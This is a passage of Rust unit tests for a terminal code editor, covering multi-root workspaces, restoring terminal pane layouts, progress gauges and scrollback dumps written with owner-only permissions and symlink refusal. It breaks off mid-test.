    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("alpha");
    let b = tmp.path().join("beta");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    std::fs::write(a.join("main.rs"), "fn main() {}\n").unwrap();
    std::fs::write(b.join("util.rs"), "pub fn u() {}\n").unwrap();
    let mut app = App::new(a.clone()).unwrap();

    app.add_workspace_folder(b.clone());

    let b_canon = b.canonicalize().unwrap();
    assert!(app.roots.is_multi(), "the model grew");
    assert!(
        app.tree.root_paths().any(|r| r == b_canon),
        "the Explorer gained the section"
    );
    assert_eq!(app.search.roots.len(), 2, "the search panel spans both");
    assert_eq!(
        app.fs_watch_extra.len(),
        1,
        "the added root gets its own watcher share"
    );
    // The Cmd+P index rebuild runs on a walker thread: poll it in, then
    // both roots' files must appear under root-name prefixes.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    loop {
        app.try_install_pending_init();
        if let Some(idx) = app.file_finder_index.as_ref() {
            let rels: Vec<&str> = idx.iter().map(|e| e.rel.as_str()).collect();
            if rels.contains(&"alpha/main.rs") && rels.contains(&"beta/util.rs") {
                break;
            }
        }
        assert!(
            std::time::Instant::now() < deadline,
            "the multi-root Cmd+P index never landed; entries: {:?}",
            app.file_finder_index
                .as_ref()
                .map(|i| i.iter().map(|e| e.rel.clone()).collect::<Vec<_>>())
        );
        std::thread::sleep(std::time::Duration::from_millis(20));
    }

    // Adding it again is a no-op with an explanation.
    app.add_workspace_folder(b.clone());
    assert_eq!(app.status, "Folder is already in the workspace");

    // The primary is not removable; the secondary is, and everything
    // collapses back to single-root.
    let a_canon = a.canonicalize().unwrap();
    app.remove_workspace_folder(a_canon);
    assert!(app.roots.is_multi(), "removing the primary is refused");
    app.remove_workspace_folder(b_canon.clone());
    assert!(!app.roots.is_multi());
    assert!(
        !app.tree.root_paths().any(|r| r == b_canon),
        "the section left the Explorer"
    );
    assert_eq!(app.search.roots.len(), 1);
    assert!(app.fs_watch_extra.is_empty());
}

#[test]
fn delete_filters_workspace_roots_out_of_a_mixed_selection() {
    // #146 review: the context menu forwards a mixed multi-selection
    // wholesale into MenuAction::Delete, and Select All marks the root
    // rows too — so the batch path must refuse root rows at the
    // delete_paths choke point, not rely on the per-node guard.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a");
    let b = tmp.path().join("b");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    std::fs::write(a.join("f.txt"), "x\n").unwrap();
    let mut app = App::new(a.clone()).unwrap();
    app.tree.add_root(b.clone());

    // Mixed batch: a real file plus BOTH root rows (what Select All +
    // right-click Delete assembles).
    app.delete_paths(vec![a.join("f.txt"), a.clone(), b.clone()]);
    let prompt = app.input_prompt.as_ref().expect("the confirm opens");
    match &prompt.purpose {
        crate::widgets::input_prompt::InputPurpose::TreeDelete { paths } => {
            assert_eq!(
                paths,
                &vec![a.join("f.txt")],
                "both workspace roots are filtered; only the file survives to the confirm"
            );
        }
        other => panic!("wrong prompt purpose: {other:?}"),
    }
    app.input_prompt = None;

    // A batch of ONLY roots opens no prompt at all.
    app.delete_paths(vec![a.clone(), b.clone()]);
    assert!(
        app.input_prompt.is_none(),
        "a roots-only batch is refused outright"
    );
    assert_eq!(app.status, "Workspace roots cannot be deleted");
}

#[test]
fn change_workspace_root_saves_the_outgoing_workspaces_terminal_layout() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a");
    let b = tmp.path().join("b");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    let mut app = App::new(a.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    // Name the pane directly (the rename UI would flush a save itself, and
    // this test must prove the RE-ROOT saves): a named pane is a
    // non-trivial layout the store keeps.
    app.terminals[0].set_manual_name(Some(String::from("srv")));
    assert!(
        !app.terminal_session_path.exists(),
        "precondition: nothing has saved the session yet"
    );

    app.change_workspace_root(b.clone());

    let map = crate::terminal_session::load(&app.terminal_session_path);
    let rec = map.get(&a.display().to_string()).expect(
        "re-rooting away must persist the outgoing workspace's pane layout under ITS key; \
         the layout was silently discarded",
    );
    assert_eq!(
        rec.panes[0].name.as_deref(),
        Some("srv"),
        "the saved record carries the outgoing panes"
    );
    assert!(
        !map.contains_key(&b.display().to_string()),
        "nothing may be filed under the incoming root's key by the re-root itself"
    );
}

#[test]
fn change_workspace_root_restores_the_incoming_workspaces_layout_when_the_panel_is_untouched() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a");
    let b = tmp.path().join("b");
    let b_sub = b.join("sub");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    std::fs::create_dir(&b_sub).unwrap();
    let session_path = tmp.path().join("sessions.json");
    crate::terminal_session::save_for_root(
        &session_path,
        &b.display().to_string(),
        crate::terminal_session::SessionRecord {
            panes: vec![
                crate::terminal_session::PaneRecord {
                    host: None,
                    cwd: b.display().to_string(),
                    name: None,
                    transcript: Vec::new(),
                    lane: None,
                },
                crate::terminal_session::PaneRecord {
                    host: None,
                    cwd: b_sub.display().to_string(),
                    name: Some(String::from("srv")),
                    transcript: Vec::new(),
                    lane: None,
                },
            ],
            active: 1,
        },
    )
    .unwrap();

    let mut app = App::new(a.clone()).unwrap();
    app.terminal_session_path = session_path;
    // The default pane is untouched: no input, no name, no launched
    // program — exactly the startup state restore replaces at launch.
    app.change_workspace_root(b.clone());

    assert_eq!(
        app.terminals.len(),
        2,
        "re-rooting an untouched panel must bring back the incoming workspace's saved layout"
    );
    assert_eq!(app.terminals[1].label(), "srv", "names come back with it");
    assert_eq!(app.active_terminal, 1, "focus lands on the recorded pane");
}

#[test]
fn restoring_a_workspaces_layout_drops_pane_bound_state_from_the_outgoing_panel() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a");
    let b = tmp.path().join("b");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    let session_path = tmp.path().join("sessions.json");
    crate::terminal_session::save_for_root(
        &session_path,
        &b.display().to_string(),
        crate::terminal_session::SessionRecord {
            panes: vec![
                crate::terminal_session::PaneRecord {
                    host: None,
                    cwd: b.display().to_string(),
                    name: None,
                    transcript: Vec::new(),
                    lane: None,
                },
                crate::terminal_session::PaneRecord {
                    host: None,
                    cwd: b.display().to_string(),
                    name: Some(String::from("srv")),
                    transcript: Vec::new(),
                    lane: None,
                },
            ],
            active: 0,
        },
    )
    .unwrap();

    let mut app = App::new(a.clone()).unwrap();
    app.terminal_session_path = session_path;
    // Park an undo-close entry (the split writes no input into pane 0, so
    // the panel stays pristine) and open copy mode on the surviving pane:
    // both are bound to the OUTGOING panel and keyed by pane index, which
    // the restored panel's identical indexes would wrongly satisfy.
    app.split_terminal().unwrap();
    assert!(app.close_terminal_at(1));
    assert!(!app.closed_terminals.is_empty());
    app.open_terminal_copy_mode();
    assert!(app.terminal_copy_mode.is_some());

    app.change_workspace_root(b.clone());

    assert_eq!(app.terminals.len(), 2, "precondition: the restore ran");
    assert!(
        app.terminal_copy_mode.is_none(),
        "copy mode was bound to a replaced pane; its coordinates mean nothing on the restored grid"
    );
    assert!(
        app.closed_terminals.is_empty(),
        "undo-close must not resurrect a PTY from the outgoing workspace into the restored panel"
    );
}

#[test]
fn change_workspace_root_keeps_live_panes_when_the_terminal_was_touched() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a");
    let b = tmp.path().join("b");
    std::fs::create_dir(&a).unwrap();
    std::fs::create_dir(&b).unwrap();
    let session_path = tmp.path().join("sessions.json");
    crate::terminal_session::save_for_root(
        &session_path,
        &b.display().to_string(),
        crate::terminal_session::SessionRecord {
            panes: vec![
                crate::terminal_session::PaneRecord {
                    host: None,
                    cwd: b.display().to_string(),
                    name: None,
                    transcript: Vec::new(),
                    lane: None,
                },
                crate::terminal_session::PaneRecord {
                    host: None,
                    cwd: b.display().to_string(),
                    name: Some(String::from("srv")),
                    transcript: Vec::new(),
                    lane: None,
                },
            ],
            active: 0,
        },
    )
    .unwrap();

    let mut app = App::new(a.clone()).unwrap();
    app.terminal_session_path = session_path;
    // Any input byte marks the pane as the user's: its shell (history,
    // scrollback, possibly a job) must survive the re-root untouched even
    // though the incoming workspace has a saved layout.
    app.terminal_mut().write_input(b"echo touched\n");
    let uid = app.terminals[0].uid();

    app.change_workspace_root(b.clone());

    assert_eq!(
        app.terminals.len(),
        1,
        "a touched panel is never replaced by the incoming workspace's saved layout"
    );
    assert_eq!(
        app.terminals[0].uid(),
        uid,
        "the surviving pane is the same live shell, not a respawn"
    );
}

#[test]
fn osc_9_4_progress_paints_a_border_gauge_and_pill_percent() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Pane 0 reports 46% (state 1), then a read gates the state-0 clear so
    // the test controls both phases. A second pane makes the name pill paint.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from(
                "printf '\\033]9;4;1;46\\007'; read x; printf '\\033]9;4;0\\007'; sleep 30",
            ),
        ],
        tmp.path(),
    )
    .unwrap();
    app.terminals[0].set_manual_name(Some(String::from("bld")));
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[String::from("-c"), String::from("sleep 30")],
            tmp.path(),
        )
        .unwrap(),
    );
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the 1-of-46 progress report",
        || app.terminals[0].progress() == Some((1, 46)),
    );

    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    fn screen_rows(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> Vec<String> {
        let buf = term.backend().buffer();
        (0..buf.area.height)
            .map(|y| {
                (0..buf.area.width)
                    .map(|x| buf[(x, y)].symbol().chars().next().unwrap_or(' '))
                    .collect()
            })
            .collect()
    }
    let area = app.terminals[0].last_area;
    let inner = app.terminals[0].last_inner;
    let rows = screen_rows(&term);
    let border_row = &rows[(area.y + area.height - 1) as usize];
    // The gauge's fill glyph contrasts with the pane's own border weight
    // (#470): a focused pane draws a heavy border, so its fill is `═`
    // against `━`; an unfocused one draws light, so its fill is `━`
    // against `─`. Counting the glyph that marks FILL keeps this test
    // about the gauge rather than about which border weight is in force.
    let fill_glyph = if app.terminals[0].focused {
        '═'
    } else {
        '━'
    };
    let fill: usize = border_row
        .chars()
        .skip(inner.x as usize)
        .take(inner.width as usize)
        .filter(|c| *c == fill_glyph)
        .count();
    let expected = (inner.width as u32 * 46 / 100) as usize;
    assert!(
        expected > 0,
        "pane too narrow for the test to mean anything"
    );
    assert_eq!(
        fill, expected,
        "the bottom border must fill to 46% with heavy strokes: {border_row:?}"
    );
    let top_row = &rows[area.y as usize];
    assert!(
        top_row.contains("bld \u{b7} 46%"),
        "the name pill carries the percent: {top_row:?}"
    );

    // State 0 clears: the gauge and the pill percent both vanish.
    app.terminals[0].write_input(b"\n");
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "state 0 to clear the progress",
        || app.terminals[0].progress().is_none(),
    );
    term.draw(|f| app.render(f)).unwrap();
    let rows = screen_rows(&term);
    let border_row = &rows[(area.y + area.height - 1) as usize];
    // No FILL glyph remains. `━` is the border's own glyph on a focused
    // pane (#470), so a literal check here would fail on an intact border
    // rather than on a leftover gauge.
    assert!(
        !border_row.contains(fill_glyph),
        "a cleared gauge restores the plain border: {border_row:?}"
    );
    assert!(
        !rows[area.y as usize].contains("46%"),
        "the pill percent must clear too"
    );
}

#[test]
fn cmd_k_d_dumps_the_pane_scrollback_into_a_rendered_log_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=scroll; echo ${s}back-payload-7; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.terminals[0].set_manual_name(Some(String::from("bldlog")));
    app.scrollback_dir = tmp.path().join("dumps");
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the pane output \"scrollback-payload-7\"",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("scrollback-payload-7"))
        },
    );

    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('d'), KeyModifiers::NONE)));
    assert!(
        matches!(app.focus, Pane::Editor),
        "the dump lands in the editor, so focus follows"
    );
    let label = app
        .editor
        .path
        .as_ref()
        .map(|p| p.display().to_string())
        .unwrap_or_default();
    assert!(
        label.contains("bldlog") && label.contains("scrollback"),
        "the scratch tab is named after the pane: {label:?}"
    );
    // A pane's output carries colour (croft's own run header does, and so
    // does any shell prompt), so the dump lands in the rendered log view
    // (#257) rather than a plain scratch buffer; the text is read from the
    // view once its index is complete and its window loaded.
    let text: Vec<String> = {
        let log = app
            .editor
            .log
            .as_mut()
            .expect("the dump opens as a rendered log");
        log.finish_index();
        let n = log.len();
        log.ensure(0, n).unwrap();
        (0..n)
            .map(|i| log.visible_text(i).unwrap_or("").to_string())
            .collect()
    };
    assert!(
        text.iter().any(|l| l.contains("scrollback-payload-7")),
        "the pane's output is in the buffer: {text:?}"
    );
    let blank_tail = text
        .iter()
        .rev()
        .take_while(|l| l.trim().is_empty())
        .count();
    assert!(
        blank_tail <= 1,
        "the unused live-screen rows must not pad the buffer: {blank_tail} blank tail lines"
    );
}

/// #257: Cmd+K D lands the pane's scrollback in the rendered log view, so
/// the colours the pane showed survive into the tab, written to a real file
/// under the scrollback dir because the log view indexes from disk.
#[test]
fn cmd_k_d_opens_the_scrollback_as_a_rendered_log_with_its_colours() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}GREEN\\033[0m rest\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the pane to print the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQGREEN rest"))
        },
    );
    app.open_scrollback_in_editor();
    {
        // The view indexes in the background and parses a window on demand:
        // read only what it has actually loaded.
        let log = app
            .editor
            .log
            .as_mut()
            .expect("the scrollback opens in the rendered log view");
        log.finish_index();
        let n = log.len();
        log.ensure(0, n).unwrap();
    }
    let log = app.editor.log.as_ref().unwrap();
    let row = (0..log.len())
        .find(|&i| {
            log.visible_text(i)
                .is_some_and(|t| t.contains("QQGREEN rest"))
        })
        .expect("the coloured row is in the view, escapes stripped");
    let line = log.line(row).expect("the row is parsed");
    let green = line
        .spans
        .iter()
        .find(|s| line.text[s.start..s.end].contains("QQGREEN"))
        .unwrap_or_else(|| panic!("a span colours the green run: {:?}", line.spans));
    assert_eq!(
        green.style.fg,
        Some(crate::ansi_text::AnsiColor::Indexed(2)),
        "the pane's green reaches the tab as the symbolic green slot"
    );
    let path = app.editor.path.clone().expect("the tab has a path");
    assert!(
        path.starts_with(&app.scrollback_dir) && path.extension().is_some_and(|e| e == "log"),
        "the dump is a .log under the scrollback dir: {path:?}"
    );
    assert!(
        path.is_file(),
        "the dump exists on disk for the view to index"
    );
}

/// The dump file is one per pane and overwritten on each Cmd+K D, so the
/// second dump must show the pane's NEW output, not the first dump's rows
/// through a stale index, and must not claim a fresh open it did not make.
#[test]
fn a_second_dump_of_the_same_pane_shows_its_new_output() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from(
                "s=QQ; printf \"\\033[32m${s}ONE\\033[0m\\n\"; read line; \
                 printf \"\\033[32m${s}TWO\\033[0m\\n\"; sleep 30",
            ),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the first coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQONE"))
        },
    );
    app.open_scrollback_in_editor();
    assert!(app.editor.log.is_some(), "the first dump is a rendered log");

    app.terminals[0].write_input(b"\n");
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the second coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQTWO"))
        },
    );
    app.open_scrollback_in_editor();
    let text: Vec<String> = {
        let log = app
            .editor
            .log
            .as_mut()
            .expect("the second dump is a rendered log too");
        log.finish_index();
        let n = log.len();
        log.ensure(0, n).unwrap();
        (0..n)
            .map(|i| log.visible_text(i).unwrap_or("").to_string())
            .collect()
    };
    assert!(
        text.iter().any(|l| l.contains("QQTWO")),
        "the second dump shows the new row, not the stale first dump: {text:?}"
    );
}

/// The route gate and the open path's sniff must agree: the sniff reads only
/// the first 8 KiB, so colour that first appears beyond it must route to the
/// plain buffer, or the user gets an editable file full of raw escapes.
#[test]
fn colour_beyond_the_sniff_prefix_keeps_the_dump_plain() {
    let plain: Vec<String> = (0..400)
        .map(|i| format!("plain row {i:04} with padding text"))
        .collect();
    let mut late = plain.clone();
    late.push(String::from("\x1b[32mlate colour\x1b[0m"));
    assert!(
        late.iter().map(|r| r.len() + 1).take(400).sum::<usize>() > 8192,
        "fixture: the colour sits past the 8 KiB sniff prefix"
    );
    assert!(
        !scrollback_opens_as_log(&late),
        "colour past the prefix is not a log to the sniff"
    );
    let mut early = vec![String::from("\x1b[32mearly colour\x1b[0m")];
    early.extend(plain.iter().cloned());
    assert!(
        scrollback_opens_as_log(&early),
        "colour inside the prefix is"
    );
    assert!(!scrollback_opens_as_log(&plain), "no colour at all is not");
}

/// A dump is a pinned tab of its own, as the scratch buffer was: a later
/// single-click file peek must not replace it, and two panes' dumps must
/// not share one preview slot.
#[test]
fn a_scrollback_dump_is_a_pinned_tab() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}PIN\\033[0m\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQPIN"))
        },
    );
    app.open_scrollback_in_editor();
    let path = app.editor.path.clone().expect("the dump tab has a path");
    let idx = app
        .editor
        .find_tab_with_path(&path)
        .expect("the dump tab is findable by its path");
    assert!(
        !app.editor.is_preview(idx),
        "the dump is pinned, not a replaceable preview"
    );
}

/// Two panes may carry the same label (two unnamed shells both read
/// `terminal`), so the dump file is keyed on the pane's stable uid too: the
/// second pane's dump must not overwrite and close the first pane's.
#[test]
fn two_panes_with_one_label_dump_to_separate_files() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    let spawn = |tag: &str| {
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[
                String::from("-c"),
                format!("s=QQ; printf \"\\033[32m${{s}}{tag}\\033[0m\\n\"; sleep 30"),
            ],
            tmp.path(),
        )
        .unwrap()
    };
    app.terminals = vec![spawn("ONE"), spawn("TWO")];
    for (i, tag) in ["QQONE", "QQTWO"].iter().enumerate() {
        app.terminals[i].set_manual_name(Some(String::from("same")));
        crate::test_budget::await_spawned(
            std::time::Duration::from_millis(500),
            "the pane to print its row",
            || {
                app.terminals[i]
                    .grid_lines()
                    .0
                    .iter()
                    .any(|l| l.contains(tag))
            },
        );
    }
    app.active_terminal = 0;
    app.focus_pane(Pane::Terminal);
    app.open_scrollback_in_editor();
    let first = app.editor.path.clone().expect("first dump has a path");
    app.active_terminal = 1;
    app.focus_pane(Pane::Terminal);
    app.open_scrollback_in_editor();
    let second = app.editor.path.clone().expect("second dump has a path");
    assert_ne!(first, second, "one file per pane, not per label");
    assert!(
        first.is_file() && second.is_file(),
        "both dumps are still on disk"
    );
    assert!(
        app.editor.find_tab_with_path(&first).is_some(),
        "the first pane's tab survives the second pane's dump"
    );
}

/// A dump holds terminal output, so it is written owner-only: the dir is
/// 0700 and the file 0600 whatever the umask, so another local account
/// cannot read it.
#[cfg(unix)]
#[test]
fn a_scrollback_dump_is_owner_only_on_disk() {
    use std::os::unix::fs::PermissionsExt;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}SEC\\033[0m\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQSEC"))
        },
    );
    app.open_scrollback_in_editor();
    let path = app.editor.path.clone().expect("the dump has a path");
    let file_mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
    let dir_mode = std::fs::metadata(&app.scrollback_dir)
        .unwrap()
        .permissions()
        .mode()
        & 0o777;
    assert_eq!(file_mode, 0o600, "the dump is readable by its owner alone");
    assert_eq!(dir_mode, 0o700, "and so is the dir that holds it");
}

/// A dump file must not be shared across croft processes: the pane uid is
/// a per-process counter that restarts at 1, so the file name carries the
/// pid too, as the session handoff file does.
#[test]
fn a_scrollback_dump_file_is_scoped_to_this_process() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}PID\\033[0m\\n\"; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQPID"))
        },
    );
    app.open_scrollback_in_editor();
    let name = app
        .editor
        .path
        .clone()
        .and_then(|p| p.file_name().map(|n| n.to_string_lossy().into_owned()))
        .expect("the dump has a file name");
    assert!(
        name.contains(&format!("-{}-", std::process::id())),
        "the file name carries this process's pid: {name}"
    );
}

/// A stale tab from an earlier dump can live in ANY editor group, not only
/// the focused one, and every copy must go before the file is rewritten:
/// a tab left in another group would read the new bytes through its old
/// index and paint garbage, with nothing to heal it.
#[test]
fn a_second_dump_closes_the_stale_tab_in_every_editor_group() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}GRP\\033[0m\\n\"; read line; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQGRP"))
        },
    );
    app.open_scrollback_in_editor();
    let path = app.editor.path.clone().expect("the first dump has a path");
    // Split: the dump tab now sits in the left group; the right is focused.
    app.split_editor();
    app.focus_pane(Pane::Terminal);
    app.open_scrollback_in_editor();
    let stale_elsewhere = app
        .editor_layout
        .inactive_groups()
        .iter()
        .any(|g| g.find_tab_with_path(&path).is_some());
    assert!(
        !stale_elsewhere,
        "no other group keeps a tab over the rewritten dump file"
    );
    assert!(
        app.editor.find_tab_with_path(&path).is_some(),
        "the focused group holds the rebuilt dump"
    );
    // The left group held nothing but the stale dump: closing its only tab
    // leaves a blank group, which every other close path prunes; a dead
    // blank pane the user never opened must not survive here either.
    assert!(
        app.editor_layout
            .inactive_groups()
            .iter()
            .all(|g| !g.is_blank_initial()),
        "an inactive group emptied by the close is pruned, not left blank"
    );
}

/// The private write must never re-mode something it did not create through
/// a link: `set_permissions` follows symlinks, so a scrollback dir that is a
/// link is refused and its target keeps its mode. A real dir left loose by
/// an older run is tightened, and so is a stale dump file.
#[cfg(unix)]
#[test]
fn write_private_refuses_a_symlinked_dir_and_tightens_a_loose_one() {
    use std::os::unix::fs::PermissionsExt;
    let tmp = tempfile::tempdir().unwrap();
    let loose = tmp.path().join("loose");
    std::fs::create_dir(&loose).unwrap();
    std::fs::set_permissions(&loose, std::fs::Permissions::from_mode(0o755)).unwrap();
    let stale = loose.join("old.log");
    std::fs::write(&stale, "old").unwrap();
    std::fs::set_permissions(&stale, std::fs::Permissions::from_mode(0o644)).unwrap();
    write_private(&loose, &stale, "new").expect("a real dir is written");
    let mode = |p: &Path| std::fs::metadata(p).unwrap().permissions().mode() & 0o777;
    assert_eq!(
        mode(&loose),
        0o700,
        "a loose dir from an older run is tightened"
    );
    assert_eq!(mode(&stale), 0o600, "and so is a stale dump file");
    assert_eq!(std::fs::read_to_string(&stale).unwrap(), "new");

    let target = tmp.path().join("target");
    std::fs::create_dir(&target).unwrap();
    std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o755)).unwrap();
    let link = tmp.path().join("link");
    std::os::unix::fs::symlink(&target, &link).unwrap();
    let outcome = write_private(&link, &link.join("x.log"), "x");
    assert!(
        outcome.is_err(),
        "a symlinked dir is refused, not written through"
    );
    assert_eq!(mode(&target), 0o755, "the link's target keeps its mode");
    assert!(!target.join("x.log").exists(), "and gains no file");

    // The same for the dump FILE: a link planted where the dump goes must
    // not have its target truncated, overwritten and re-moded.
    let outside = tmp.path().join("outside.txt");
    std::fs::write(&outside, "secret").unwrap();
    std::fs::set_permissions(&outside, std::fs::Permissions::from_mode(0o644)).unwrap();
    let planted = loose.join("planted.log");
    std::os::unix::fs::symlink(&outside, &planted).unwrap();
    let outcome = write_private(&loose, &planted, "new");
    assert!(outcome.is_err(), "a symlinked dump file is refused");
    assert_eq!(
        std::fs::read_to_string(&outside).unwrap(),
        "secret",
        "its target is untouched"
    );
    assert_eq!(mode(&outside), 0o644, "and keeps its mode");
}

/// The prune after a close is scoped to the group the close emptied: a
/// group the user left blank on purpose (a split with one side cleared) is
/// not this command's to fold away.
#[test]
fn a_scrollback_dump_leaves_a_blank_group_it_did_not_empty_alone() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}KEEP\\033[0m\\n\"; read line; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQKEEP"))
        },
    );
    app.open_scrollback_in_editor();
    // Split, blank the new (focused) group, then focus the group that holds
    // the dump: the blank group is now an inactive leaf with no dump in it.
    app.split_editor();
    assert!(app.editor_layout.is_split(), "fixture: the editor is split");
    app.editor.close_tab(0);
    assert!(
        app.editor.is_blank_initial(),
        "fixture: the focused group is blank"
    );
    app.focus_editor_group(true);
    assert!(
        app.editor.path.is_some(),
        "fixture: the dump's group is focused"
    );
    assert!(
        app.editor_layout
            .inactive_groups()
            .iter()
            .any(|g| g.is_blank_initial()),
        "fixture: the blank group is inactive"
    );
    app.focus_pane(Pane::Terminal);
    app.open_scrollback_in_editor();
    assert!(
        app.editor_layout.is_split(),
        "a blank group this dump did not empty survives it"
    );
}

/// With two inactive groups, one emptied by the close and one the user
/// blanked, only the emptied one is pruned: the sweep must be scoped to the
/// group the close emptied, not to blankness.
#[test]
fn a_scrollback_dump_prunes_only_the_group_it_emptied() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.scrollback_dir = tmp.path().join("dumps");
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from("s=QQ; printf \"\\033[32m${s}THREE\\033[0m\\n\"; read line; sleep 30"),
        ],
        tmp.path(),
    )
    .unwrap();
    app.focus_pane(Pane::Terminal);
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the coloured row",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("QQTHREE"))
        },
    );
    app.open_scrollback_in_editor();
